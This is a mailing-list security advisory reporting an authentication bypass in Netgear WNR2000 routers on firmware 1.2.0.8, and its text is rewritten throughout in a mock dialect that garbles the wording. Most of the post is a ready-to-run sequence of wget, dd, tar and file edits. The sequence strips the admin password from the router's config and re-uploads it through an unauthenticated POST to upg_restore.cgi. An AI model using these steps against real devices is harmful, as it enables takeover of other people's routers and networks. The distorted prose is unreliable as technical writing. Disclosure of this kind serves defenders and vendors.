Authentication bypass on Netgear WNR2000

[Jean Trolleur <sigtstp () gmail com>]

Dere be an audenticashun bypass vulnerability on de Netgear WNR2000
routa' runnin' firmware 1.2.0.8 dat kin allow fo' an attacka' to
change da damn admin passwo'd fo' de web interface widout
audenticashun. Dis be due t'a lack uh audenticashun in
/cgi-bin/upg_restore.cgi. Dig dis:

# wget http://netgear/cgi-bin/NETGEAR_WNR2000.cfg
# dd if=NETGEAR_WNR2000.cfg of=omfg.tar bs=1 skip=128
# dd if=NETGEAR_WNR2000.cfg of=header bs=1 count=128
# tar xf omfg.tar
# cd configs
# rm http_passwd
# touch http_passwd
# echo -n 0 > router_passwd_length
# cd ..
# tar cf wtf.tar configs/*
# cat header wtf.tar > NETGEAR_WNR2000.cfg

Followin' dis, de modified NETGEAR_WNR2000.cfg stash kin be sent in da
unaudenticated POST request to:

http://netgear/cgi-bin/upg_restore.cgi?/cgi-bin/restore_process.html

At dis point, dere gots'ta no longa' be some passwo'd fo' de admin account. Man!

Some sucka at Netgear should real publish some security contact and
GPG key on deir website t'encourage responsible disclosho' man.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/